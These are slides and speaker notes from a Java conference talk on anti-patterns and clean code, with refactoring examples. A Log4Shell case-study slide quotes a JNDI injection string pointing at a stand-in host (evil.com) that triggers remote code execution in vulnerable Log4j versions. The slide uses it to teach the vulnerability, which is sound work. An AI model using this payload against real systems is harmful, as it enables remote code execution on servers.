Java Anti-Patterns - Stir Trek 2026

Vitaliy Matiyash | Staff Software Engineer · Columbus, OH

Opening

Raise your hand if...

You've maintained a single class with 3,000+ lines?

You fixed one bug only to break two others?

You've had to debug status == 7 with no docs?

You've seen catch (Exception e) { } in production?

Foundations

What is an Anti-Pattern?

"An antipattern is just like a pattern, except that instead of a solution, it gives something that looks superficially like a solution but isn't one."

- Andrew Koenig, 1995

Severity Tiers

Annoying Adds friction, wastes time, confuses juniors

Dangerous Causes bugs, blocks features, multiplies tech debt

Career-Ending Data loss, security breaches, production outages

Foundations

The Usual Suspects

The Classics

God Object

dangerous

Spaghetti Code

dangerous

Lava Flow

dangerous

Magic Numbers

annoying

Copy & Paste

annoying

Reinventing the Wheel

annoying

Subtle Traps

Premature Optimization

annoying

Accidental Complexity

annoying

The Ostrich Effect

career-ending

Beyond Basics

Concurrency Bugs

career-ending

Distributed Monolith

career-ending

Compound Effect

multiplier

THE GOD OBJECT

Anti-Pattern 1 of 12

Anti-Patterns

God Object dangerous

"A single class that knows too much and does too much."

Low Cohesion: Methods are unrelated.
Fragility: Change one line, break five features.
Name Smells: "Manager," "Utils," "System."
Untestable: Requires 100 mocks to test.

Real-world example:

Spring's AbstractBeanFactory - ~1,800 lines, manages bean creation, dependency resolution, scope handling, type conversion, and lifecycle callbacks in one class.

Anti-Patterns

God Object: The Cure

Before


public class AppManager {
  public void createUser(User u) {
    if (u.getName() == null) { ... }  // Validation
    db.execute("INSERT...");          // Persistence
    email.sendWelcome(u);             // Notification
    analytics.track("NEW_USER");      // Monitoring
    if (isHoliday()) { ... }          // Business Rules
  }
  // ... 186 more unrelated methods ...
}

After - SRP + Modern Java


// Immutable data carrier (Java 17+)
public record CreateUserRequest(
    String name, String email) {}

// Each class: ONE responsibility
public class UserRegistrationService {
  private final UserValidator validator;
  private final UserRepository repo;
  private final NotificationService notifier;

  public User register(CreateUserRequest req) {
    validator.validate(req);
    User user = repo.save(req);
    notifier.welcomeEmail(user);
    return user;
  }
}

Key insight: Java record types eliminate the boilerplate DTOs that tempt you to stuff logic into one class. Each concern gets its own small, testable unit.

Here's the before - AppManager.createUser does five different things in one method: validation, persistence, notification, monitoring, and business rules. This is one of 187 methods. [Click - After appears] The cure is the Single Responsibility Principle. Look at the difference. We use a Java record for the data carrier - CreateUserRequest. Immutable, no boilerplate. Java 17 gave us this. Then UserRegistrationService does exactly ONE thing: orchestrate registration. Validation is its own class. Persistence is its own class. Notification is its own class. [Click - Key insight appears] Now you can swap out the email provider without touching user creation. You can test each concern independently. You can reason about each class in isolation. That's the power of SRP combined with modern Java.

Anti-Patterns

Spaghetti Code dangerous

The Arrowhead Anti-Pattern


public void processOrder(Order order) {
  if (order != null) {
    if (order.getItems() != null) {
      if (order.getItems().size() > 0) {
        for (Item item : order.getItems()) {
          if (isValid(item)) {
            // Finally, the actual logic
            process(item);
          }
        }
      }
    }
  }
}

Guard Clauses - Fail Fast


public void processOrder(Order order) {
  if (order == null) return;
  if (order.getItems() == null) return;
  if (order.getItems().isEmpty()) return;

  order.getItems().stream()
      .filter(this::isValid)
      .forEach(this::process);
}

Flat, linear, readable.
Each guard clause removes a nesting level.

Anti-Patterns

Lava Flow dangerous

Dead code that solidifies because developers are afraid to delete it.

Real Example - Apache Tomcat


// Deprecated since Tomcat 4.x (circa 2002)
// Still present in source through 7.x
// "Needed for backwards compatibility"
@Deprecated
public class RequestUtil {
    public static String filter(String msg) {
        // HTML entity encoding
        // Replaced by HtmlUtils in 2004
        // 22 YEARS of dead weight
    }
}

The Cure

1. Git is your safety net. Deleted code is never lost - it's in the history. Delete with confidence.

2. Tag deprecated code with deadlines. @Deprecated(since="2024", forRemoval=true) (Java 9+)

3. Run coverage reports. Code with 0% coverage and no callers is safe to delete.

Lava Flow. Dead code that hardens like lava because everyone is afraid to touch it. Here's a real example from Apache Tomcat. RequestUtil was deprecated in Tomcat 4 - that's circa 2002. It was STILL in the source code through Tomcat 7. Twenty-two years of dead weight, because someone wrote "needed for backwards compatibility" and nobody questioned it. [Click - The Cure appears] Three steps to fight lava flow. One: Git is your safety net. Deleted code is NEVER truly lost - it's in the commit history. Delete with confidence. Two: Use the enhanced @Deprecated annotation from Java 9. The forRemoval=true flag tells the compiler AND your team "this is going away." Three: Run coverage reports. Code with zero percent coverage and zero callers is safe to delete. Period. The hardest part isn't the technical fix. It's building the team courage to hit delete.

Anti-Patterns

Magic Numbers & Hard Coding annoying

Real Example - JDK's Calendar


// java.util.Calendar - shipped with Java 1.1
// Months are 0-indexed. January = 0. Why?!

Calendar cal = Calendar.getInstance();
cal.set(2026, 0, 15); // January? Or... ?

if (cal.get(Calendar.DAY_OF_WEEK) == 7) {
   // Is 7 Saturday? Sunday? Who remembers?
}

This API confused millions of developers for 20 years.

Hard Coding


String url = "jdbc:mysql://prod-db:3306/app";
int timeout = 30000; // 30 seconds... or ms?

The Cure - java.time + Enums


// java.time (Java 8+) - no magic numbers
LocalDate date = LocalDate.of(2026, Month.JANUARY, 15);

if (date.getDayOfWeek() == DayOfWeek.SATURDAY) {
    // Crystal clear intent
}

Externalized Config


@Value("${db.url}")
private String dbUrl;

private static final Duration TIMEOUT =
    Duration.ofSeconds(30); // Self-documenting

The JDK's own Calendar class is one of the most infamous magic-number APIs ever shipped. Quick quiz: in this code, cal.set(2026, 0, 15) - what month is 0? January! Because whoever designed java.util.Calendar decided months should be zero-indexed. This confused MILLIONS of developers for 20 years. And DAY_OF_WEEK == 7? Is that Saturday? Sunday? Nobody remembers without checking the Javadoc. Below that - hard-coded connection strings. "jdbc:mysql://prod-db." Congratulations, you just committed your production database URL to source control. [Click - The Cure appears] Java 8 fixed this with java.time. Month.JANUARY. DayOfWeek.SATURDAY. Typed enums, not magic integers. You literally cannot get it wrong. For hard-coded values: externalize with @Value or environment variables. Use Duration.ofSeconds(30) instead of the raw number 30000 - is that milliseconds? Seconds? Self-documenting.

Anti-Patterns

Stringly-Typed Code annoying

When String is your only data type.

Everything Is a String


public void createAccount(
    String name,
    String email,
    String accountType,  // "CHECKING"? "checking"? "CHK"?
    String status,       // "active" or "ACTIVE" or "1"?
    String balance) {    // "1000.00" — why is money a String?

  if (status.equals("active")) { ... }  // case-sensitive!
  double bal = Double.parseDouble(balance); // NumberFormatException
}

Type-Safe Domain Objects


public void createAccount(
    CustomerName name,
    Email email,
    AccountType type,       // enum: CHECKING, SAVINGS
    AccountStatus status,   // enum: ACTIVE, CLOSED
    BigDecimal balance) {   // no parsing, no precision loss

  if (status == AccountStatus.ACTIVE) { ... }  // compile-safe
}

Compiler catches typos IDE autocomplete works No runtime surprises

This pairs perfectly with Magic Numbers. If magic numbers are unnamed integers, stringly-typed code is unnamed strings. Look at this method signature: five strings. What's an accountType - "CHECKING"? "checking"? "CHK"? Nobody knows without reading the implementation. And status equals "active" - case-sensitive comparison. One capital letter and your logic silently fails. And balance as a String? You're parsing doubles at runtime. NumberFormatException at 2 AM. [Click - Type-safe version appears] Replace strings with types. AccountType enum - the compiler catches typos. BigDecimal for money - no precision loss. Email as a value object that validates format on construction. [Click - Benefits appear] Three wins: compiler catches typos, IDE autocomplete works, no runtime surprises. The Java type system is free - use it.

Anti-Patterns

Copy & Paste Programming annoying

Class A


public void exportPdf() {
  connect();
  formatData(); // IDENTICAL
  saveFile();   // IDENTICAL
}

Class B


public void exportCsv() {
  connect();
  formatData(); // IDENTICAL
  saveFile();   // IDENTICAL
}

Fix bug in one → forget the other → inconsistent behavior.

Template Method Pattern


public abstract class Exporter {
  public final void export() {
    connect();
    formatData();    // Shared logic
    writeOutput();   // Override per format
  }
  protected abstract void writeOutput();
}

public class PdfExporter extends Exporter {
  protected void writeOutput() { /* PDF */ }
}

public class CsvExporter extends Exporter {
  protected void writeOutput() { /* CSV */ }
}

Copy-paste programming. We've all done it. "This method is almost what I need, let me just copy it and change one thing." Look at these two classes - exportPdf and exportCsv. The connect, formatData, and saveFile methods are IDENTICAL. Same logic, duplicated. Now what happens when you fix a bug in the PDF exporter? You fix it in Class A. And you forget Class B exists. Now your CSV export has a bug your PDF export doesn't. Inconsistent behavior. [Click - Template Method appears] The Template Method pattern solves this elegantly. Extract the shared logic into an abstract base class. The export() method calls connect, formatData, then writeOutput. Each subclass only overrides writeOutput - the one thing that's actually different. Bug fix happens in ONE place. Both formats get the fix automatically. DRY in action.

Anti-Patterns

Reinventing the Wheel annoying

The Custom Collection Utils


// Real pattern seen across enterprise codebases
public class CollectionHelper {
  public static boolean isEmpty(Collection c) {
    return c == null || c.size() == 0;
  }
  public static String join(List list, String sep) {
    StringBuilder sb = new StringBuilder();
    for (int i = 0; i < list.size(); i++) {
      if (i > 0) sb.append(sep);
      sb.append(list.get(i));
    }
    return sb.toString();
  }
  // 200 more utility methods...
}

Use What Already Exists


// Apache Commons (1B+ downloads)
CollectionUtils.isEmpty(collection);

// Java 8+ built-in
String.join(", ", list);

// Guava (Google)
ImmutableList.of("a", "b", "c");

Rule of thumb: Before writing a utility method, search for it. Apache Commons, Guava, and the JDK itself have been battle-tested by millions of projects.

How many of you have a "CollectionHelper" or "StringUtils" class in your codebase? [Pause for hands] I see this in almost every enterprise codebase. A utility class with 200 methods that duplicate things that already exist in Apache Commons, Guava, or the JDK itself. Look at this isEmpty method - checking null and size zero. That's CollectionUtils.isEmpty from Apache Commons. Tested by over a BILLION downloads. String.join? Built into Java 8. You don't need a custom implementation. [Click - The fix appears] Rule of thumb: before you write ANY utility method, spend 60 seconds searching for it. Apache Commons, Guava, and the JDK itself have been battle-tested by millions of projects. Your hand-rolled version has been tested by... your team. Who has more edge cases covered?

SUBTLE TRAPS

The patterns that look like good ideas

Subtle Traps

Premature Optimization annoying

Hand-Rolled Thread Pool


// "Spring @Async is too slow for our needs"
ExecutorService pool =
    new ThreadPoolExecutor(
        8, 32, 60L, TimeUnit.SECONDS,
        new LinkedBlockingQueue<>(1000),
        new CustomThreadFactory(),
        new CustomRejectionPolicy()
    );

// For a batch job processing 50 items/day
pool.submit(() -> sendEmail(user));

200 lines of thread management for a job that runs twice a day.

What You Actually Need


// Java 21+ Virtual Threads
// Zero config, no pool tuning needed
try (var scope = new StructuredTaskScope
        .ShutdownOnFailure()) {
    scope.fork(() -> sendEmail(user));
    scope.join();
}

// Or simply: Spring @Async
@Async
public void sendEmail(User user) { ... }

"Premature optimization is the root of all evil."

- Donald Knuth

Subtle Traps

Accidental Complexity annoying

"Introducing architectural overhead that the problem doesn't demand."

Also known as: Resume-Driven Development

The Right Architecture


// Spring Boot + SQLite
// 1 JAR, 0 infrastructure
@RestController
public class TodoController {
  @GetMapping("/todos")
  List<Todo> list() {
    return repo.findAll();
  }

  @PostMapping("/todos")
  Todo create(@RequestBody Todo todo) {
    return repo.save(todo);
  }
}

Deploy: java -jar app.jar

Cost: $5/mo

Also known as Resume-Driven Development. [Pause for laughs] Look at this architecture diagram. React SPA, API Gateway, Auth Service, Todo Service, Kafka, MongoDB, Kubernetes, Istio, Prometheus. Nine services. For a to-do app. With ONE user. Total cost: twenty-four hundred dollars a month. Three thousand lines of configuration YAML. Before you write a single line of business logic. Why does this happen? Because someone wanted "microservices" and "event-driven architecture" on their resume. [Click - The right answer appears] Here's the right architecture: Spring Boot plus SQLite. One JAR file. Zero infrastructure. Deploy with java dash jar app.jar. Cost: five dollars a month. The lesson: complexity should be EARNED by the problem, not imposed by the architect. Start simple. Scale when you need to.

Subtle Traps

The Ostrich Effect career-ending

Swallowing Exceptions


try {
    chargeCustomerCard(order);
} catch (Exception e) {
    // TODO: Fix this later
    // e.printStackTrace();
    // ^ commented out so logs are "clean"
}
// Code continues as if payment succeeded
shipOrder(order); // Ships without payment!

Result: Silent failures in production. No logs, no stack trace, corrupted data.

The Cure - Handle or Propagate


try {
    chargeCustomerCard(order);
} catch (PaymentException e) {
    log.error("Payment failed for order {}",
              order.getId(), e);
    orderService.markPaymentFailed(order);
    alerting.notifyOncall(e);
    throw e; // Don't continue silently
}

Rules:

Catch specific exceptions, not Exception
Log with context (order ID, user, etc.)
Either recover meaningfully or re-throw

The Ostrich Effect - burying your head in the sand. This one is marked career-ending, and I mean it. Look at this code. chargeCustomerCard fails. The exception is caught. And... nothing. An empty catch block. The comment says "TODO: Fix this later." The print stack trace is even commented out to keep logs "clean." So what happens next? shipOrder runs. You just shipped a product without getting paid. No logs. No alerts. No stack trace. By the time someone notices revenue is down, thousands of orders are corrupted. Good luck debugging THAT. [Click - The cure appears] Three rules. Always. One: catch SPECIFIC exceptions. PaymentException, not Exception. Two: log with context. Include the order ID, the user, the amount - everything you'd need at 3 AM. Three: either recover meaningfully - like marking the payment failed - or re-throw. Never silently continue. The cost of an empty catch block is always higher than the cost of handling the error properly.

Anti-Patterns

Golden Hammer annoying

"When all you have is a hammer, everything looks like a nail." — Maslow

The Symptoms

"Just use Spring for it"
Cron job? Spring Boot app. CLI tool? Spring Boot app. Static page? …Spring Boot app.
"We always use Kafka"
Two services talking? Kafka. Sending an email? Kafka. Logging? …Kafka.
"Microservices everywhere"
Team of 3 maintaining 27 services, one deployment pipeline per developer.

The Cure: Right Tool, Right Job

1. Define the problem first
Requirements → constraints → THEN technology.
2. Evaluate at least two options
"Why not X?" is a valid architecture question.
3. Match scale to scope
Not every problem needs a distributed system.

"The best tool is the simplest one that solves the problem."

Raise your hand if you've seen a team use the same technology for literally everything. Spring Boot for a cron job. Kafka to send a single email. 27 microservices for a team of three. The Golden Hammer: when you're so comfortable with a tool that you use it for EVERY problem, even when it's wildly wrong. [Click - The Cure appears] The fix is simple but requires discipline. One: define the problem BEFORE picking the technology. Requirements first, constraints second, then - and only then - pick the tool. Two: evaluate at least two options. Ask "why NOT this other approach?" If you can't answer that, you haven't thought hard enough. Three: match scale to scope. A shell script might be better than a Spring Boot app. A simple REST call might beat Kafka. Not every problem needs a distributed system. The best tool is the simplest one that solves the problem. That's it.

BEYOND THE BASICS

Patterns most talks skip

Beyond Basics

Concurrency Anti-Patterns career-ending

Broken Double-Checked Locking


// Classic bug - worked "fine" for years
// until JIT reordered instructions
public class ConnectionPool {
  private static ConnectionPool instance;

  public static ConnectionPool getInstance() {
    if (instance == null) {           // Check 1
      synchronized (ConnectionPool.class) {
        if (instance == null) {       // Check 2
          instance = new ConnectionPool();
          // BUG: Another thread can see
          // partially constructed object!
        }
      }
    }
    return instance;
  }
}

Fix 1: volatile (Java 5+)


// volatile prevents instruction reordering
private static volatile ConnectionPool instance;

Fix 2: Holder pattern (better)


// JVM guarantees thread-safe class loading
public class ConnectionPool {
  private static class Holder {
    static final ConnectionPool INSTANCE =
        new ConnectionPool();
  }
  public static ConnectionPool getInstance() {
    return Holder.INSTANCE;
  }
}

This is a real Java concurrency classic, and it's terrifying because it works PERFECTLY in testing. Double-Checked Locking without volatile. Look at the pattern: check if null, synchronize, check again, create. Looks correct, right? Two checks, a synchronized block. What could go wrong? Everything. Without volatile, the JIT compiler can reorder instructions. Thread B sees the reference is non-null - great, skip the synchronized block. But it accesses a PARTIALLY CONSTRUCTED object. Fields are still default values. NPE. Corrupted state. But only under production load. This bug can hide for YEARS in testing because you need just the right timing with just the right thread interleaving. [Click - Fixes appear] Two fixes. Fix one: add volatile. One keyword. Prevents instruction reordering. Works since Java 5. Fix two - and this is the better one: the Holder pattern. The JVM guarantees thread-safe static class initialization. No synchronized, no volatile, no double-checking. Just let the JVM do its job. Joshua Bloch covers this in Effective Java, Item 83. If you haven't read it, please do.

Beyond Basics

Architectural Anti-Patterns career-ending

The Distributed Monolith

"All the complexity of microservices. None of the benefits."

Symptoms:

Shared database - services couple through tables
Synchronous chains - A calls B calls C, all must be up
Lock-step deploys - can't deploy one without the others
Shared data models - DTO jars passed between services

The fix: If you can't deploy independently, you don't have microservices. You have a distributed monolith with extra network hops. Consider staying monolith until you have a real scaling reason to split.

The Distributed Monolith. This is the one that makes architects cry. You split your monolith into microservices. Management is thrilled. "We're cloud-native now!" But look at the diagram. [Click - Symptoms appear] All three services share ONE database. They make synchronous REST calls to each other. You can't deploy Order Service without deploying User Service and Payment Service at the same time. And they share DTO jars. Congratulations: you now have all the complexity of distributed systems - network failures, eventual consistency, deployment coordination - but NONE of the independence that microservices promised. You didn't build microservices. You built a monolith with extra network hops and three times the YAML. The honest answer is often: stay monolithic. Seriously. Until you have a REAL scaling reason to split - like one service needs 10x the compute of another - a well-structured monolith is simpler, faster, and cheaper.

Beyond Basics

The Compound Effect

Anti-patterns rarely exist in isolation. They compound.

Studies show: Projects with 3+ co-occurring anti-patterns are 5x more likely to face a rewrite decision within 3 years.

- "Anti-Pattern Interaction Effects" - IEEE Software, 2019

This is the insight most anti-pattern talks miss completely: these things don't exist in isolation. They compound. Follow the chain. You start with a God Object. It grows too big to understand. So what do developers do? They copy-paste instead of refactoring, because touching the God Object is terrifying. Those copies become Lava Flow - dead code nobody dares delete because "it might break something." And the end state? The most expensive sentence in software engineering: "Let's rewrite from scratch." - CTO. [Click - statistic appears] Studies show projects with three or more co-occurring anti-patterns are FIVE TIMES more likely to face a rewrite decision within three years. Each anti-pattern lowers the barrier for the next one to enter. That's why prevention matters so much more than cure.

Beyond Basics

When Anti-Patterns Are Acceptable

Nuance matters. Dogma is its own anti-pattern.

It's OK When...

Prototype / Spike: God Objects in throwaway code exploring a concept. Delete it after.
Performance-critical path: Deliberate optimization with profiler data and benchmarks.
Framework constraints: Some frameworks force you into patterns (e.g., JPA's @Entity inheritance).
Startup phase: Early products need speed > architecture. But schedule the cleanup.

It's NOT OK When...

"We'll fix it later" - with no ticket, no deadline, no owner.
"It works, don't touch it" - code with 0% test coverage that nobody understands.
"Everyone else does it" - cargo-cult copying without understanding.
Premature abstraction: Over-engineering to "prevent" hypothetical anti-patterns is itself an anti-pattern.

Now - I don't want you walking away thinking every shortcut is evil. That would be its own anti-pattern. [Click - left column] There ARE times when anti-patterns are acceptable. Building a prototype? A God Object is fine - you're exploring, not shipping. Just delete it when you're done. Got profiler data showing a hot path? Go ahead and optimize - that's not premature, that's informed. Some frameworks force your hand - JPA entity inheritance is ugly, but that's the tool you chose. And early startups? Ship fast. But - and this is key - schedule the cleanup. Put it on the backlog with a real deadline. [Click - right column] Here's where it crosses the line. "We'll fix it later" with no ticket, no owner, no deadline? That's not a trade-off, that's denial. "It works, don't touch it" - if nobody understands it and there are zero tests, you're one departure away from a crisis. "Everyone else does it" - cargo-cult programming. Understand WHY before you copy. And notice the last one: premature ABSTRACTION is also an anti-pattern. Building five layers of indirection to "prevent" a God Object you don't have yet? That's just as harmful. The key question is always: is this a CONSCIOUS trade-off with a plan, or is it accidental neglect?

Beyond Basics

War Story: Log4Shell (CVE-2021-44228)

When anti-patterns enable a 10.0 CVSS vulnerability

The Anti-Patterns:

Magic String processing - log messages evaluated as code
Lava Flow - JNDI lookup feature added in 2013, never reviewed
Accidental Complexity - logging library doing remote code execution
Ostrich Effect - warnings about JNDI injection ignored for years


// This innocent log line:
log.info("Login from: " + username);

// With this username:
// "${jndi:ldap://evil.com/exploit}"
// → Triggers Remote Code Execution

Impact

Affected ~35,000 Java packages (Maven Central)
CVSS 10.0 - maximum severity
Exploited within hours of disclosure
Cost the industry billions in remediation

Lessons:

A logging library should never evaluate user input
Old features without active maintainers become time bombs
Every line of code is attack surface

Let me tell you a war story. December 2021. Log4Shell. The single worst Java vulnerability in history. Look at the anti-patterns that enabled it. Magic string processing - log messages being evaluated as executable code. Lava Flow - a JNDI lookup feature was added in 2013 and nobody reviewed it for eight years. Accidental complexity - a LOGGING library doing remote code execution. And the Ostrich Effect - security researchers warned about JNDI injection risks for years. Ignored. The exploit was embarrassingly simple. A user types a string as their username. Log4j evaluates it. Your server connects to an attacker's LDAP server. Game over. Remote code execution. [Click - Impact appears] CVSS 10.0 - maximum severity. 35,000 affected Java packages on Maven Central. Exploited within HOURS of public disclosure. Cost the industry BILLIONS in remediation. Three lessons: A logging library should NEVER evaluate user input. Old features without active maintainers become time bombs. And every single line of code - especially the lines nobody remembers writing - is attack surface. This is what happens when anti-patterns go unchecked.

CLEAN CODE

Principles that prevent anti-patterns from forming

Clean Code

Meaningful Names

"The name of a variable should answer all the big questions." - R.C. Martin

Unsearchable & Cryptic


// Try grepping for 't' in 50K lines of code
double t = 500.00;

// What is 7? Active? Deleted? Married?
if (account.status == 7) { ... }

// Single-letter loops scale terribly
for (int i = 0; i < l.size(); i++) {
  T o = l.get(i);
  if (o.s == 3) { ... }
}

Searchable & Intentional


double transactionAmount = 500.00;

// Java enum - type-safe, searchable
if (account.status == Status.ACTIVE) { ... }

// Intent-revealing names
for (Account account : activeAccounts) {
  if (account.isOverdue()) {
    notifyCollections(account);
  }
}

The Grammar of Code

Classes: Nouns (Customer, Account)
Methods: Verbs (postPayment(), deletePage())
Booleans: Predicates (isActive, canExecute)

Don't Be Cute

whack() → terminate()

m_name → name

IDEs handle scoping. Skip Hungarian notation.

Clean Code

The Rules of Functions

"The first rule of functions is that they should be small."

"The second rule of functions is that they should be smaller than that."

- Robert C. Martin, Clean Code

Do One Thing

One Level of Abstraction

≤ 3 Arguments

No Side Effects

[Dramatic pause before first fragment] [Click] The first rule of functions: they should be small. [Click] The second rule of functions: they should be SMALLER. THAN. THAT. [Let it land - get a few laughs] How small? Uncle Bob says 4 to 5 lines. That sounds extreme, but the principle is right: a function should do ONE thing, at ONE level of abstraction. [Click - principles appear] Four rules to live by. Do one thing - if you can extract another function from it, it's doing more than one thing. One level of abstraction - don't mix high-level orchestration with low-level string parsing. Three arguments maximum - after that, wrap them in a parameter object. And no side effects. If the function says "check," it should ONLY check. Not check AND initialize.

Clean Code

Boolean Blindness

When function calls read like morse code.

Spot the Bug


// What do these booleans mean?
process(order, true, false, true, null);

// 6 months later: someone swaps two arguments
process(order, false, true, true, null);  // compiles fine, ships broken

// Even worse: flag arguments
public void sendEmail(Customer c, boolean isUrgent,
    boolean addAttachment, boolean bccManager) { ... }

Readable Alternatives


// Option 1: Enum replaces boolean
process(order, Priority.HIGH, Shipping.STANDARD);

// Option 2: Builder pattern
EmailRequest.to(customer)
    .urgent()
    .withAttachment(report)
    .bccManager()
    .send();

// Option 3: Separate methods
sendUrgentEmail(customer);
sendWithAttachment(customer, report);

Rule: If a boolean parameter isn't obvious from the call site, it shouldn't be a boolean.

This is one of the most common Java sins and it ties directly to "functions should be small." Look at this call: process order, true, false, true, null. What do ANY of those mean? You have to go read the method signature. And six months later, someone swaps two booleans - it compiles fine, it ships broken. Even named parameters don't fully help: sendEmail with isUrgent, addAttachment, bccManager - three booleans that could easily be mixed up. [Click - Alternatives appear] Three fixes. Enums: Priority.HIGH, Shipping.STANDARD. Self-documenting, impossible to swap. Builder pattern: EmailRequest.to(customer).urgent().withAttachment(report).send(). Reads like English. Or just separate methods: sendUrgentEmail. The method name IS the flag. [Click - Rule appears] The rule: if a boolean isn't obvious from the call site, it shouldn't be a boolean. Your future self will thank you.

Clean Code

Visual Refactoring

The Step-Down Rule: read code top to bottom, one abstraction level at a time.

The Monolith


public static String testableHtml(
  PageData pageData,
  boolean includeSuiteSetup) throws Exception {
  WikiPage wikiPage = pageData.getWikiPage();
  StringBuffer buffer = new StringBuffer();
  if (pageData.hasAttribute("Test")) {
    if (includeSuiteSetup) {
      WikiPage suiteSetup =
        PageCrawlerImpl.getInheritedPage(
          SuiteResponder.SUITE_SETUP_NAME,
          wikiPage);
      if (suiteSetup != null) {
        WikiPagePath pagePath = suiteSetup
          .getPageCrawler()
          .getFullPath(suiteSetup);
        String pathName =
          PathParser.render(pagePath);
        buffer.append("!include -setup .")
              .append(pathName).append("\n");
      }
    }
    // ... 50 more lines of append logic ...
  }
  return buffer.toString();
}

Extracted


public static String renderPage(
  PageData pageData,
  boolean isSuite) throws Exception {

  if (isTestPage(pageData)) {
    includeSetupAndTeardownPages(
        pageData, isSuite);
  }

  return pageData.getHtml();
}

1. Fits on one screen
2. Describes what, not how
3. One level of abstraction

Clean Code

Side Effects & Temporal Coupling

"Side effects are lies. Your function promises one thing, but secretly does another."

Hidden Side Effect in Spring


@Transactional
public OrderSummary getOrderSummary(Long id) {
  Order order = orderRepo.findById(id).get();
  // SIDE EFFECT: modifies entity inside txn
  order.setLastViewedAt(Instant.now());
  // JPA dirty checking auto-flushes this
  // "Read" method secretly writes to the DB!
  return mapper.toSummary(order);
}

// Caller has no idea a "get" mutates data
OrderSummary s = getOrderSummary(42);

A "get" method that silently writes to the database.

Fix: Separate Command from Query


// QUERY - no side effects, read-only txn
@Transactional(readOnly = true)
public OrderSummary getOrderSummary(Long id) {
  return mapper.toSummary(
      orderRepo.findById(id).orElseThrow());
}

// COMMAND - clearly mutates state
@Transactional
public void recordOrderViewed(Long id) {
  Order order = orderRepo.findById(id)
      .orElseThrow();
  order.setLastViewedAt(Instant.now());
}

CQS: Command-Query Separation - Bertrand Meyer

This one catches even experienced Spring developers. Look at this method: getOrderSummary. Sounds like a read operation, right? It even returns an OrderSummary. But look inside. It fetches the order, then sets lastViewedAt to now. It's @Transactional. JPA's dirty checking sees the entity was modified and auto-flushes the change to the database. A method called GET - that starts with 'get' - is secretly WRITING to the database. The caller has absolutely no idea. [Click - CQS fix appears] The fix is Command-Query Separation - a principle from Bertrand Meyer. Queries return data and change nothing. Mark them @Transactional readOnly equals true - this actually optimizes database performance too. Commands change state and are clearly named: recordOrderViewed. Now the caller knows exactly what they're getting into. If a method starts with 'get', it should NEVER have side effects. Period.

Clean Code

Error Handling

"Error handling is important, but if it obscures logic, it's wrong." - R.C. Martin

The Null Problem


public User findUser(String id) {
  return userMap.get(id); // might be null
}

// Every caller repeats this:
User u = findUser("123");
if (u != null) { ... } // Forget once → NPE

Use Optional (Java 8+)


public Optional<User> findUser(String id) {
  return Optional.ofNullable(userMap.get(id));
}

// Caller is FORCED to handle absence
findUser("123")
    .map(User::getName)
    .orElse("Unknown");

Also: Extract try/catch bodies into separate methods — error handling is ONE thing, it gets its own function. (See the Ostrich Effect slide for exception handling rules.)

Clean Code

The Bad Comment Gallery

"Don't use a comment when you can use a function or a variable." - R.C. Martin

Journal Comments


/* Changes:
 * 11-Oct: Fixed bug (Jim)
 * 05-Nov: Added feature (Pam)
 */

DELETE - Git does this.

Noise Comments


/** The Default Constructor */
public Account() {}

/** The day of the month */
private int dayOfMonth;

DELETE - Restating the obvious.

Position Markers


    } // end while
  } // end if
} // end method
// Added by Rick

REFACTOR - function is too big.

Ghost Code


// InputStreamResponse response =
//   new InputStreamResponse();
// response = ...

DELETE NOW - it rots forever.

Stale TODOs


// TODO: Fix this
// efficiency issue
// by 2018...

SCAN WEEKLY - or they go invisible.

Good Comments


// Workaround for JDK-8072452
// Fixed in Java 17.0.3+
// Remove after upgrade

KEEP - explains unavoidable "why".

Uncle Bob says: don't use a comment when you can use a function or a variable. Let's see what that means in practice - a lightning round of real examples. [Click] Journal comments. "Fixed bug, Jim. Added feature, Pam." Git does this better. Delete. [Click] Noise comments. "The default constructor." "The day of the month." Yeah, I can see that. Delete. [Click] Position markers. end-while, end-if, end-method. If you need these, your function is too long. Refactor. [Click] Ghost code. Commented-out blocks. This is the WORST because everyone is afraid to delete it - "maybe someone needs it?" No. Git has it. Delete NOW. [Click] Stale TODOs. "Fix this by 2018." It's 2026. Scan your TODOs weekly or they become an invisible graveyard. [Click] But here's the exception: GOOD comments exist. Workarounds for known JDK bugs, with a JDK issue number and a removal plan. That's context code genuinely cannot express. Keep those.

Clean Code

Modern Java: The Antidote

Java 17-21 features that make anti-patterns harder to write

Records (Java 16+)

Kill boilerplate DTOs that balloon into God Objects


// Immutable, equals/hashCode free
public record Point(double x, double y) {}

// Instead of 80-line POJO with getters,
// setters, equals, hashCode, toString

Sealed Classes (Java 17+)

Replace open inheritance with closed hierarchies


public sealed interface Shape
    permits Circle, Rectangle, Triangle {}

// Compiler enforces exhaustive matching
// No more "default: throw new
//   UnsupportedOperationException()"

Pattern Matching (Java 21+)

Eliminate instanceof chains & switch anti-patterns


// Exhaustive, type-safe switching
double area = switch (shape) {
  case Circle c    -> Math.PI * c.r() * c.r();
  case Rectangle r -> r.w() * r.h();
  case Triangle t  -> 0.5 * t.b() * t.h();
  // Compiler error if case missing!
};

These features don't just improve style - they make entire categories of bugs impossible at compile time.

Here's the exciting part. Modern Java doesn't just improve style - it makes entire categories of anti-patterns STRUCTURALLY harder to write. [Click - Records appear] Records. One line replaces an 80-line POJO with getters, setters, equals, hashCode, and toString. And because records are immutable, you can't accidentally stuff mutable state into them. That's the God Object temptation eliminated. [Click - Sealed classes appear] Sealed classes. You declare a closed set of subtypes. The compiler enforces exhaustive handling. No more "default: throw new UnsupportedOperationException." If you forget a case, it's a compile error. [Click - Pattern matching appears] Pattern matching with switch expressions. This replaces those awful instanceof chains. And here's the killer feature: if you add a new Shape subtype, the compiler tells you EVERY switch statement that needs updating. Automatically. No grep required. [Click - Bottom line appears] These aren't cosmetic. They make bugs IMPOSSIBLE at compile time. That's the best kind of prevention.

PREVENTION

Your Monday morning action items

Prevention

Automated Defense

Static Analysis

SonarQube / SonarLint

Catch smells while you type. Quality Gates block PRs if complexity > 10.

Error Prone (Google)

Compile-time: catches == on strings, unused returns, concurrency bugs.

SpotBugs

Finds null dereference, infinite loops, resource leaks at bytecode level.

Code Review Rules

The "Explanation" Test
If you explain "why" in a comment - refactor instead.
SRP Check
Can you describe this class without using "and"?
The Boy Scout Rule
Leave every file cleaner than you found it.

The Goal: Write code for Humans first, Compilers second.

Real results: God Object refactoring → complexity −87%, coverage +7.4×, production incidents zero in 6 months.

